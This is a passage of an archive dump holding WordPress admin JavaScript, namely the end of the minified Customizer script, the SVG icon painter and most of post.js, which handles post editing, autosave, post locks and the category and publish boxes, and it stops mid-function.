Y.Notification(e,{type:"error",message:Y.l10n.pageOnFrontError})):i.notifications.remove(e)}i.bind(e),a.bind(e),o.bind(e),e.call(i,i()),Y.control("show_on_front",function(e){e.deferred.embedded.done(function(){e.container.append(e.getNotificationsContainerElement())})})}),A=J.Deferred(),Y.section("custom_css",function(t){t.deferred.embedded.done(function(){t.expanded()?A.resolve(t):t.expanded.bind(function(e){e&&A.resolve(t)})})}),A.done(function(e){var t=Y.control("custom_css");t.container.find(".customize-control-title:first").addClass("screen-reader-text"),e.container.find(".section-description-buttons .section-description-close").on("click",function(){e.container.find(".section-meta .customize-section-description:first").removeClass("open").slideUp(),e.container.find(".customize-help-toggle").attr("aria-expanded","false").focus()}),t&&!t.setting.get()&&(e.container.find(".section-meta .customize-section-description:first").addClass("open").show().trigger("toggled"),e.container.find(".customize-help-toggle").attr("aria-expanded","true"))}),Y.control("header_video",function(n){n.deferred.embedded.done(function(){function e(){var e=Y.section(n.section()),t="video_header_not_available";e&&(n.active.get()?e.notifications.remove(t):e.notifications.add(new Y.Notification(t,{type:"info",message:Y.l10n.videoHeaderNotice})))}e(),n.active.bind(e)})}),Y.previewer.bind("selective-refresh-setting-validities",function(e){Y._handleSettingValidities({settingValidities:e,focusInvalidControl:!1})}),Y.previewer.bind("focus-control-for-setting",function(n){var i=[];Y.control.each(function(e){var t=_.pluck(e.settings,"id");-1!==_.indexOf(t,n)&&i.push(e)}),i.length&&(i.sort(function(e,t){return e.priority()-t.priority()}),i[0].focus())}),Y.previewer.bind("refresh",function(){Y.previewer.refresh()}),Y.state("paneVisible").bind(function(e){var t=window.matchMedia?window.matchMedia("screen and ( max-width: 640px )").matches:J(window).width()<=640;Y.state("editShortcutVisibility").set(e||t?"visible":"hidden")}),window.matchMedia&&window.matchMedia("screen and ( max-width: 640px )").addListener(function(){var e=Y.state("paneVisible");e.callbacks.fireWith(e,[e.get(),e.get()])}),Y.previewer.bind("edit-shortcut-visibility",function(e){Y.state("editShortcutVisibility").set(e)}),Y.state("editShortcutVisibility").bind(function(e){Y.previewer.send("edit-shortcut-visibility",e)}),Y.bind("change",function e(){var t,n,i,a=!1;function o(e){e||Y.settings.changeset.autosaved||(Y.settings.changeset.autosaved=!0,Y.previewer.send("autosaving"))}Y.unbind("change",e),Y.state("saved").bind(o),o(Y.state("saved").get()),n=function(){a||(a=!0,Y.requestChangesetUpdate({},{autosave:!0}).always(function(){a=!1})),i()},(i=function(){clearTimeout(t),t=setTimeout(function(){n()},Y.settings.timeouts.changesetAutoSave)})(),J(document).on("visibilitychange.wp-customize-changeset-update",function(){document.hidden&&n()}),J(window).on("beforeunload.wp-customize-changeset-update",function(){n()})}),J(document).one("tinymce-editor-setup",function(){window.tinymce.ui.FloatPanel&&(!window.tinymce.ui.FloatPanel.zIndex||window.tinymce.ui.FloatPanel.zIndex<500001)&&(window.tinymce.ui.FloatPanel.zIndex=500001)}),o.addClass("ready"),Y.trigger("ready"))})}((wp,jQuery)); js/svg-painter.js 0000644 00000006320 15233246127 0007763 0 ustar 00 /** * Attempt to re-color SVG icons used in the admin menu or the toolbar * * @output wp-admin/js/svg-painter.js */ window.wp = window.wp || {}; wp.svgPainter = ( function( $, window, document, undefined ) { 'use strict'; var selector, painter, colorscheme = {}, elements = []; $( function() { wp.svgPainter.init(); }); return { init: function() { painter = this; selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' ); painter.setColors(); painter.findElements(); painter.paint(); }, setColors: function( colors ) { if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) { colors = window._wpColorScheme; } if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) { colorscheme = colors.icons; } }, findElements: function() { selector.each( function() { var $this = $(this), bgImage = $this.css( 'background-image' ); if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) { elements.push( $this ); } }); }, paint: function() { // Loop through all elements. $.each( elements, function( index, $element ) { var $menuitem = $element.parent().parent(); if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) { // Paint icon in 'current' color. painter.paintElement( $element, 'current' ); } else { // Paint icon in base color. painter.paintElement( $element, 'base' ); // Set hover callbacks. $menuitem.on( 'mouseenter', function() { painter.paintElement( $element, 'focus' ); } ).on( 'mouseleave', function() { // Match the delay from hoverIntent. window.setTimeout( function() { painter.paintElement( $element, 'base' ); }, 100 ); } ); } }); }, paintElement: function( $element, colorType ) { var xml, encoded, color; if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) { return; } color = colorscheme[ colorType ]; // Only accept hex colors: #101 or #101010. if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) { return; } xml = $element.data( 'wp-ui-svg-' + color ); if ( xml === 'none' ) { return; } if ( ! xml ) { encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ ); if ( ! encoded || ! encoded[1] ) { $element.data( 'wp-ui-svg-' + color, 'none' ); return; } try { xml = window.atob( encoded[1] ); } catch ( error ) {} if ( xml ) { // Replace `fill` attributes. xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"'); // Replace `style` attributes. xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"'); // Replace `fill` properties in `<style>` tags. xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';'); xml = window.btoa( xml ); $element.data( 'wp-ui-svg-' + color, xml ); } else { $element.data( 'wp-ui-svg-' + color, 'none' ); return; } } $element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' ); } }; })( jQuery, window, document ); js/post.js 0000644 00000117046 15233246127 0006521 0 ustar 00 /** * @file Contains all dynamic functionality needed on post and term pages. * * @output wp-admin/js/post.js */ /* global ajaxurl, wpAjax, postboxes, pagenow, tinymce, alert, deleteUserSetting, ClipboardJS */ /* global theList:true, theExtraList:true, getUserSetting, setUserSetting, commentReply, commentsBox */ /* global WPSetThumbnailHTML, wptitlehint */ // Backward compatibility: prevent fatal errors. window.makeSlugeditClickable = window.editPermalink = function(){}; // Make sure the wp object exists. window.wp = window.wp || {}; ( function( $ ) { var titleHasFocus = false, __ = wp.i18n.__; /** * Control loading of comments on the post and term edit pages. * * @type {{st: number, get: commentsBox.get, load: commentsBox.load}} * * @namespace commentsBox */ window.commentsBox = { // Comment offset to use when fetching new comments. st : 0, /** * Fetch comments using Ajax and display them in the box. * * @memberof commentsBox * * @param {number} total Total number of comments for this post. * @param {number} num Optional. Number of comments to fetch, defaults to 20. * @return {boolean} Always returns false. */ get : function(total, num) { var st = this.st, data; if ( ! num ) num = 20; this.st += num; this.total = total; $( '#commentsdiv .spinner' ).addClass( 'is-active' ); data = { 'action' : 'get-comments', 'mode' : 'single', '_ajax_nonce' : $('#add_comment_nonce').val(), 'p' : $('#post_ID').val(), 'start' : st, 'number' : num }; $.post( ajaxurl, data, function(r) { r = wpAjax.parseAjaxResponse(r); $('#commentsdiv .widefat').show(); $( '#commentsdiv .spinner' ).removeClass( 'is-active' ); if ( 'object' == typeof r && r.responses[0] ) { $('#the-comment-list').append( r.responses[0].data ); theList = theExtraList = null; $( 'a[className*=\':\']' ).off(); // If the offset is over the total number of comments we cannot fetch any more, so hide the button. if ( commentsBox.st > commentsBox.total ) $('#show-comments').hide(); else $('#show-comments').show().children('a').text( __( 'Show more comments' ) ); return; } else if ( 1 == r ) { $('#show-comments').text( __( 'No more comments found.' ) ); return; } $('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>'); } ); return false; }, /** * Load the next batch of comments. * * @memberof commentsBox * * @param {number} total Total number of comments to load. */ load: function(total){ this.st = jQuery('#the-comment-list tr.comment:visible').length; this.get(total); } }; /** * Overwrite the content of the Featured Image postbox * * @param {string} html New HTML to be displayed in the content area of the postbox. * * @global */ window.WPSetThumbnailHTML = function(html){ $('.inside', '#postimagediv').html(html); }; /** * Set the Image ID of the Featured Image * * @param {number} id The post_id of the image to use as Featured Image. * * @global */ window.WPSetThumbnailID = function(id){ var field = $('input[value="_thumbnail_id"]', '#list-table'); if ( field.length > 0 ) { $('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id); } }; /** * Remove the Featured Image * * @param {string} nonce Nonce to use in the request. * * @global */ window.WPRemoveThumbnail = function(nonce){ $.post( ajaxurl, { action: 'set-post-thumbnail', post_id: $( '#post_ID' ).val(), thumbnail_id: -1, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie ) }, /** * Handle server response * * @param {string} str Response, will be '0' when an error occurred otherwise contains link to add Featured Image. */ function(str){ if ( str == '0' ) { alert( __( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); } else { WPSetThumbnailHTML(str); } } ); }; /** * Heartbeat locks. * * Used to lock editing of an object by only one user at a time. * * When the user does not send a heartbeat in a heartbeat-time * the user is no longer editing and another user can start editing. */ $(document).on( 'heartbeat-send.refresh-lock', function( e, data ) { var lock = $('#active_post_lock').val(), post_id = $('#post_ID').val(), send = {}; if ( ! post_id || ! $('#post-lock-dialog').length ) return; send.post_id = post_id; if ( lock ) send.lock = lock; data['wp-refresh-post-lock'] = send; }).on( 'heartbeat-tick.refresh-lock', function( e, data ) { // Post locks: update the lock string or show the dialog if somebody has taken over editing. var received, wrap, avatar; if ( data['wp-refresh-post-lock'] ) { received = data['wp-refresh-post-lock']; if ( received.lock_error ) { // Show "editing taken over" message. wrap = $('#post-lock-dialog'); if ( wrap.length && ! wrap.is(':visible') ) { if ( wp.autosave ) { // Save the latest changes and disable. $(document).one( 'heartbeat-tick', function() { wp.autosave.server.suspend(); wrap.removeClass('saving').addClass('saved'); $(window).off( 'beforeunload.edit-post' ); }); wrap.addClass('saving'); wp.autosave.server.triggerSave(); } if ( received.lock_error.avatar_src ) { avatar = $( '<img />', { 'class': 'avatar avatar-64 photo', width: 64, height: 64, alt: '', src: received.lock_error.avatar_src, srcset: received.lock_error.avatar_src_2x ? received.lock_error.avatar_src_2x + ' 2x' : undefined } ); wrap.find('div.post-locked-avatar').empty().append( avatar ); } wrap.show().find('.currently-editing').text( received.lock_error.text ); wrap.find('.wp-tab-first').trigger( 'focus' ); } } else if ( received.new_lock ) { $('#active_post_lock').val( received.new_lock ); } } }).on( 'before-autosave.update-post-slug', function() { titleHasFocus = document.activeElement && document.activeElement.id === 'title'; }).on( 'after-autosave.update-post-slug', function() { /* * Create slug area only if not already there * and the title field was not focused (user was not typing a title) when autosave ran. */ if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) { $.post( ajaxurl, { action: 'sample-permalink', post_id: $('#post_ID').val(), new_title: $('#title').val(), samplepermalinknonce: $('#samplepermalinknonce').val() }, function( data ) { if ( data != '-1' ) { $('#edit-slug-box').html(data); } } ); } }); }(jQuery)); /** * Heartbeat refresh nonces. */ (function($) { var check, timeout; /** * Only allow to check for nonce refresh every 30 seconds. */ function schedule() { check = false; window.clearTimeout( timeout ); timeout = window.setTimeout( function(){ check = true; }, 300000 ); } $( function() { schedule(); }).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) { var post_id, $authCheck = $('#wp-auth-check-wrap'); if ( check || ( $authCheck.length && ! $authCheck.hasClass( 'hidden' ) ) ) { if ( ( post_id = $('#post_ID').val() ) && $('#_wpnonce').val() ) { data['wp-refresh-post-nonces'] = { post_id: post_id }; } } }).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) { var nonces = data['wp-refresh-post-nonces']; if ( nonces ) { schedule(); if ( nonces.replace ) { $.each( nonces.replace, function( selector, value ) { $( '#' + selector ).val( value ); }); } if ( nonces.heartbeatNonce ) window.heartbeatSettings.nonce = nonces.heartbeatNonce; } }); }(jQuery)); /** * All post and postbox controls and functionality. */ jQuery( function($) { var stamp, visibility, $submitButtons, updateVisibility, updateText, $textarea = $('#content'), $document = $(document), postId = $('#post_ID').val() || 0, $submitpost = $('#submitpost'), releaseLock = true, $postVisibilitySelect = $('#post-visibility-select'), $timestampdiv = $('#timestampdiv'), $postStatusSelect = $('#post-status-select'), isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false, copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.edit-media' ), copyAttachmentURLSuccessTimeout, __ = wp.i18n.__, _x = wp.i18n._x; postboxes.add_postbox_toggles(pagenow); /* * Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post, * and the first post is still being edited, clicking Preview there will use this window to show the preview. */ window.name = ''; // Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item. $('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) { // Don't do anything when [Tab] is pressed. if ( e.which != 9 ) return; var target = $(e.target); // [Shift] + [Tab] on first tab cycles back to last tab. if ( target.hasClass('wp-tab-first') && e.shiftKey ) { $(this).find('.wp-tab-last').trigger( 'focus' ); e.preventDefault(); // [Tab] on last tab cycles back to first tab. } else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) { $(this).find('.wp-tab-first').trigger( 'focus' ); e.preventDefault(); } }).filter(':visible').find('.wp-tab-first').trigger( 'focus' ); // Set the heartbeat interval to 10 seconds if post lock dialogs are enabled. if ( wp.heartbeat && $('#post-lock-dialog').length ) { wp.heartbeat.interval( 10 ); } // The form is being submitted by the user. $submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) { var $button = $(this); if ( $button.hasClass('disabled') ) { event.preventDefault(); return; } if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) { return; } // The form submission can be blocked from JS or by using HTML 5.0 validation on some fields. // Run this only on an actual 'submit'. $('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) { if ( event.isDefaultPrevented() ) { return; } // Stop auto save. if ( wp.autosave ) { wp.autosave.server.suspend(); } if ( typeof commentReply !== 'undefined' ) { /* * Warn the user they have an unsaved comment before submitting * the post data for update. */ if ( ! commentReply.discardCommentChanges() ) { return false; } /* * Close the comment edit/reply form if open to stop the form * action from interfering with the post's form action. */ commentReply.close(); } releaseLock = false; $(window).off( 'beforeunload.edit-post' ); $submitButtons.addClass( 'disabled' ); if ( $button.attr('id') === 'publish' ) { $submitpost.find( '#major-publishing-actions .spinner' ).addClass( 'is-active' ); } else { $submitpost.find( '#minor-publishing .spinner' ).addClass( 'is-active' ); } }); }); // Submit the form saving a draft or an autosave, and show a preview in a new tab. $('#post-preview').on( 'click.post-preview', function( event ) { var $this = $(this), $form = $('form#post'), $previewField = $('input#wp-preview'), target = $this.attr('target') || 'wp-preview', ua = navigator.userAgent.toLowerCase(); event.preventDefault(); if ( $this.hasClass('disabled') ) { return; } if ( wp.autosave ) { wp.autosave.server.tempBlockSave(); } $previewField.val('dopreview'); $form.attr( 'target', target ).trigger( 'submit' ).attr( 'target', '' ); // Workaround for WebKit bug preventing a form submitting twice to the same action. // https://bugs.webkit.org/show_bug.cgi?id=28633 if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) { $form.attr( 'action', function( index, value ) { return value + '?t=' + ( new Date() ).getTime(); }); } $previewField.val(''); }); // Auto save new posts after a title is typed. if ( $( '#auto_draft' ).val() ) { $( '#title' ).on( 'blur', function() { var cancel; if ( ! this.value || $('#edit-slug-box > *').length ) { return; } // Cancel the auto save when the blur was triggered by the user submitting the form. $('form#post').one( 'submit', function() { cancel = true; }); window.setTimeout( function() { if ( ! cancel && wp.autosave ) { wp.autosave.server.triggerSave(); } }, 200 ); }); } $document.on( 'autosave-disable-buttons.edit-post', function() { $submitButtons.addClass( 'disabled' ); }).on( 'autosave-enable-buttons.edit-post', function() { if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) { $submitButtons.removeClass( 'disabled' ); } }).on( 'before-autosave.edit-post', function() { $( '.autosave-message' ).text( __( 'Saving Draft…' ) ); }).on( 'after-autosave.edit-post', function( event, data ) { $( '.autosave-message' ).text( data.message ); if ( $( document.body ).hasClass( 'post-new-php' ) ) { $( '.submitbox .submitdelete' ).show(); } }); /* * When the user is trying to load another page, or reloads current page * show a confirmation dialog when there are unsaved changes. */ $( window ).on( 'beforeunload.edit-post', function( event ) { var editor = window.tinymce && window.tinymce.get( 'content' ); var changed = false; if ( wp.autosave ) { changed = wp.autosave.server.postChanged(); } else if ( editor ) { changed = ( ! editor.isHidden() && editor.isDirty() ); } if ( changed ) { event.preventDefault(); // The return string is needed for browser compat. // See https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event. return __( 'The changes you made will be lost if you navigate away from this page.' ); } }).on( 'pagehide.edit-post', function( event ) { if ( ! releaseLock ) { return; } /* * Unload is triggered (by hand) on removing the Thickbox iframe. * Make sure we process only the main document unload. */ if ( event.target && event.target.nodeName != '#document' ) { return; } var postID = $('#post_ID').val(); var postLock = $('#active_post_lock').val(); if ( ! postID || ! postLock ) { return; } var data = { action: 'wp-remove-post-lock', _wpnonce: $('#_wpnonce').val(), post_ID: postID, active_post_lock: postLock }; if ( window.FormData && window.navigator.sendBeacon ) { var formData = new window.FormData(); $.each( data, function( key, value ) { formData.append( key, value ); }); if ( window.navigator.sendBeacon( ajaxurl, formData ) ) { return; } } // Fall back to a synchronous POST request. // See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon $.post({ async: false, data: data, url: ajaxurl }); }); // Multiple taxonomies. if ( $('#tagsdiv-post_tag').length ) { window.tagBox && window.tagBox.init(); } else { $('.meta-box-sortables').children('div.postbox').each(function(){ if ( this.id.indexOf('tagsdiv-') === 0 ) { window.tagBox && window.tagBox.init(); return false; } }); } // Handle categories. $('.categorydiv').each( function(){ var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName; taxonomyParts = this_id.split('-'); taxonomyParts.shift(); taxonomy = taxonomyParts.join('-'); settingName = taxonomy + '_tab'; if ( taxonomy == 'category' ) { settingName = 'cats'; } // @todo Move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js. $('a', '#' + taxonomy + '-tabs').on( 'click keyup keydown', function( event ) { var t = $(this).attr('href'); if ( event.type === 'keydown' && event.key === ' ' ) { event.preventDefault(); } if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) { event.preventDefault(); $('#' + taxonomy + '-tabs a').removeAttr( 'aria-selected' ).attr( 'tabindex', '-1' ); $(this).attr( 'aria-selected', 'true' ).removeAttr( 'tabindex' ); $(this).parent().addClass('tabs').siblings('li').removeClass('tabs'); $('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide(); $(t).show(); if ( '#' + taxonomy + '-all' == t ) { deleteUserSetting( settingName ); } else { setUserSetting( settingName, 'pop' ); } } if ( event.type === 'keyup' && ( event.key === 'ArrowRight' || event.key === 'ArrowLeft' ) ) { $(this).attr( 'tabindex', '-1' ); let next = $(this).parent('li').next(); let prev = $(this).parent('li').prev(); if ( next.length > 0 ) { next.find('a').removeAttr( 'tabindex'); next.find('a').trigger( 'focus' ); } else { prev.find('a').removeAttr( 'tabindex'); prev.find('a').trigger( 'focus' ); } } }); if ( getUserSetting( settingName ) ) $('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').trigger( 'click' ); // Add category button controls. $('#new' + taxonomy).one( 'focus', function() { $( this ).val( '' ).removeClass( 'form-input-tip' ); }); // On [Enter] submit the taxonomy. $('#new' + taxonomy).on( 'keypress', function(event){ if( 13 === event.keyCode ) { event.preventDefault(); $('#' + taxonomy + '-add-submit').trigger( 'click' ); } }); // After submitting a new taxonomy, re-focus the input field. $('#' + taxonomy + '-add-submit').on( 'click', function() { $('#new' + taxonomy).trigger( 'focus' ); }); /** * Before adding a new taxonomy, disable submit button. * * @param {Object} s Taxonomy object which will be added. * * @return {Object} */ catAddBefore = function( s ) { if ( !$('#new'+taxonomy).val() ) { return false; } s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize(); $( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true ); return s; }; /** * Re-enable submit button after a taxonomy has been added. * * Re-enable submit button. * If the taxonomy has a parent place the taxonomy underneath the parent. * * @param {Object} r Response. * @param {Object} s Taxonomy data. * * @return {void} */ catAddAfter = function( r, s ) { var sup, drop = $('#new'+taxonomy+'_parent'); $( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false ); if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) { drop.before(sup); drop.remove(); } }; $('#' + taxonomy + 'checklist').wpList({ alt: '', response: taxonomy + '-ajax-response', addBefore: catAddBefore, addAfter: catAddAfter }); // Add new taxonomy button toggles input form visibility. $('#' + taxonomy + '-add-toggle').on( 'click', function( e ) { e.preventDefault(); $('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' ); $('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').trigger( 'click' ); $('#new'+taxonomy).trigger( 'focus' ); }); // Sync checked items between "All {taxonomy}" and "Most used" lists. $('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on( 'click', 'li.popular-category > label input[type="checkbox"]', function() { var t = $(this), c = t.is(':checked'), id = t.val(); if ( id && t.parents('#taxonomy-'+taxonomy).length ) { $('input#in-' + taxonomy + '-' + id + ', input[id^="in-' + taxonomy + '-' + id + '-"]').prop('checked', c); $('input#in-popular-' + taxonomy + '-' + id).prop('checked', c); } } ); }); // End cats. // Custom Fields postbox. if ( $('#postcustom').length ) { $( '#the-list' ).wpList( { /** * Add current post_ID to request to fetch custom fields * * @ignore * * @param {Object} s Request object. * * @return {Object} Data modified with post_ID attached. */ addBefore: function( s ) { s.data += '&post_id=' + $('#post_ID').val(); return s; }, /** * Show the listing of custom fields after fetching. * * @ignore */ addAfter: function() { $('table#list-table').show(); } }); } /* * Publish Post box (#submitdiv) */ if ( $('#submitdiv').length ) { stamp = $('#timestamp').html(); visibility = $('#post-visibility-display').html(); /** * When the visibility of a post changes sub-options should be shown or hidden. * * @ignore * * @return {void} */ updateVisibility = function() { // Show sticky for public posts. if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) { $('#sticky').prop('checked', false); $('#sticky-span').hide(); } else { $('#sticky-span').show(); } // Show password input field for password protected post. if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) { $('#password-span').hide(); } else { $('#password-span').show(); } }; /** * Make sure all labels represent the current settings. * * @ignore * * @return {boolean} False when an invalid timestamp has been selected, otherwise True. */ updateText = function() { if ( ! $timestampdiv.length ) return true; var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'), optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(), mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(); attemptedDate = new Date( aa, mm - 1, jj, hh, mn ); originalDate = new Date( $('#hidden_aa').val(), $('#hidden_mm').val() -1, $('#hidden_jj').val(), $('#hidden_hh').val(), $('#hidden_mn').val() ); currentDate = new Date( $('#cur_aa').val(), $('#cur_mm').val() -1, $('#cur_jj').val(), $('#cur_hh').val(), $('#cur_mn').val() ); // Catch unexpected date problems. if ( attemptedDate.getFullYear() != aa || (1 + attemptedDate.getMonth()) != mm || attemptedDate.getDate() != jj || attemptedDate.getMinutes() != mn ) { $timestampdiv.find('.timestamp-wrap').addClass('form-invalid'); return false; } else { $timestampdiv.find('.timestamp-wrap').removeClass('form-invalid'); } // Determine what the publish should be depending on the date and post status. if ( attemptedDate > currentDate ) { publishOn = __( 'Schedule for:' ); $('#publish').val( _x( 'Schedule', 'post action/button label' ) ); } else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) { publishOn = __( 'Publish on:' ); $('#publish').val( __( 'Publish' ) ); } else { publishOn = __( 'Published on:' ); $('#publish').val( __( 'Update' ) ); } // If the date is the same, set it to trigger update events. if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) { // Re-set to the current value. $('#timestamp').html(stamp); } else { $('#timestamp').html( '\n' + publishOn + ' <b>' + // translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. __( '%1$s %2$s, %3$s at %4$s:%5$s' ) .replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) ) .replace( '%2$s', parseInt( jj, 10 ) ) .replace( '%3$s', aa ) .replace( '%4$s', ( '00' + hh ).slice( -2 ) ) .replace( '%5$s', ( '00' + mn ).slice( -2 ) ) + '</b> ' ); } // Add "privately published" to post status when applies. if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) { $('#publish').val( __( 'Update' ) ); if ( 0 === optPublish.length ) { postStatus.append('<option value="publish">' + __( 'Privately Published' ) + '</option>'); } else { optPublish.html( __( 'Privately Published' ) ); } $('option[value="publish"]', postStatus).prop('selected', true); $('#misc-publishing-actions .edit-post-status').hide(); } else { if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) { if ( optPublish.length ) { optPublish.remove(); postStatus.val($('#hidden_post_status').val()); } } else { optPublish.html( __( 'Published' ) ); } if ( postStatus.is(':hidden') ) $('#misc-publishing-actions .edit-post-status').show(); } // Update "Status:" to currently selected status. $('#post-status-display').text( // Remove any potential tags from post status text. wp.sanitize.stripTagsAndEncodeText( $('option:selected', postStatus).text() ) ); // Show or hide the "Save Draft" button. if ( $('option:selected', postStatus).val() == 'private' || $('option:selected', postStatus).val() == 'publish' ) { $('#save-post').hide(); } else { $('#save-post').show(); if ( $('option:selected', postStatus).val() == 'pending' ) { $('#save-post').show().val( __( 'Save as Pending' ) ); } else { $('#save-post').show().val( __( 'Save Draft' ) ); } } return true; }; // Show the visibility options and hide the toggle button when opened. $( '#visibility .edit-visibility').on( 'click', function( e ) { e.preventDefault(); if ( $postVisibilitySelect.is(':hidden') ) { updateVisibility(); $postVisibilitySelect.slideDown( 'fast', function() { $postVisibilitySelect.find( 'input[type="radio"]' ).first().trigger( 'focus' ); } ); $(this).hide(); } }); // Cancel visibility selection area and hide it from view. $postVisibilitySelect.find('.cancel-post-visibility').on( 'click', function( event ) { $postVisibilitySelect.slideUp('fast'); $('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true); $('#post_password').val($('#hidden-post-password').val()); $('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked')); $('#post-visibility-display').html(visibility); $('#visibility .edit-visibility').show().trigger( 'focus' ); updateText(); event.preventDefault(); }); // Set the selected visibility as current. $postVisibilitySelect.find('.save-post-visibility').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels. var visibilityLabel = '', selectedVisibility = $postVisibilitySelect.find('input:radio:checked').val(); $postVisibilitySelect.slideUp('fast'); $('#visibility .edit-visibility').show().trigger( 'focus' ); updateText(); if ( 'public' !== selectedVisibility ) { $('#sticky').prop('checked', false); } switch ( selectedVisibility ) { case 'public': visibilityLabel = $( '#sticky' ).prop( 'checked' ) ? __( 'Public, Sticky' ) : __( 'Public' ); break; case 'private': visibilityLabel = __( 'Private' ); break; case 'password': visibilityLabel = __( 'Password Protected' ); break; } $('#post-visibility-display').text( visibilityLabel ); event.preventDefault(); }); // When the selection changes, update labels. $postVisibilitySelect.find('input:radio').on( 'change', function() { updateVisibility(); }); // Edit publish time click. $timestampdiv.siblings('a.edit-timestamp').on( 'click', function( event ) { if ( $timestampdiv.is( ':hidden' ) ) { $timestampdiv.slideDown( 'fast', function() { $( 'input, select', $timestampdiv.find( '.timestamp-wrap' ) ).first().trigger( 'focus' ); } ); $(this).hide(); } event.preventDefault(); }); // Cancel editing the publish time and hide the settings. $timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) { $timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().trigger( 'focus' ); $('#mm').val($('#hidden_mm').val()); $('#jj').val($('#hidden_jj').val()); $('#aa').val($('#hidden_aa').val()); $('#hh').val($('#hidden_hh').val()); $('#mn').val($('#hidden_mn').val()); updateText(); event.preventDefault(); }); // Save the changed timestamp. $timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels. if ( updateText() ) { $timestampdiv.slideUp('fast'); $timestampdiv.siblings('a.edit-timestamp').show().trigger( 'focus' ); } event.preventDefault(); }); // Cancel submit when an invalid timestamp has been selected. $('#post').on( 'submit', function( event ) { if ( ! updateText() ) { event.preventDefault(); $timestampdiv.show(); if ( wp.autosave ) { wp.autosave.enableButtons(); } $( '#publishing-action .spinner' ).removeClass( 'is-active' ); } }); // Post Status edit click. $postStatusSelect.siblings('a.edit-post-status').on( 'click', function( event ) { if ( $postStatusSelect.is( ':hidden' ) ) { $postStatusSelect.slideDown( 'fast', function() { $postStatusSelect.find('select').trigger( 'focus' ); } ); $(this).hide(); } event.preventDefault(); }); // Save the Post Status changes and hide the options. $postStatusSelect.find('.save-post-status').on( 'click', function( event ) { $postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' ); updateText(); event.preventDefault(); }); // Cancel Post Status editing and hide the options. $postStatusSelect.find('.cancel-post-status').on( 'click', function( event ) { $postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' ); $('#post_status').val( $('#hidden_post_status').val() ); updateText(); event.preventDefault(); }); } /** * Handle the editing of the post_name. Create the required HTML elements and * update the changes via Ajax. * * @global * * @return {void} */ function editPermalink() { var i, slug_value, slug_label, $el, revert_e, c = 0, real_slug = $('#post_name'), revert_slug = real_slug.val(), permalink = $( '#sample-permalink' ), permalinkOrig = permalink.html(), permalinkInner = $( '#sample-permalink a' ).html(), buttons = $('#edit-slug-buttons'), buttonsOrig = buttons.html(), full = $('#editable-post-name-full'); // Deal with 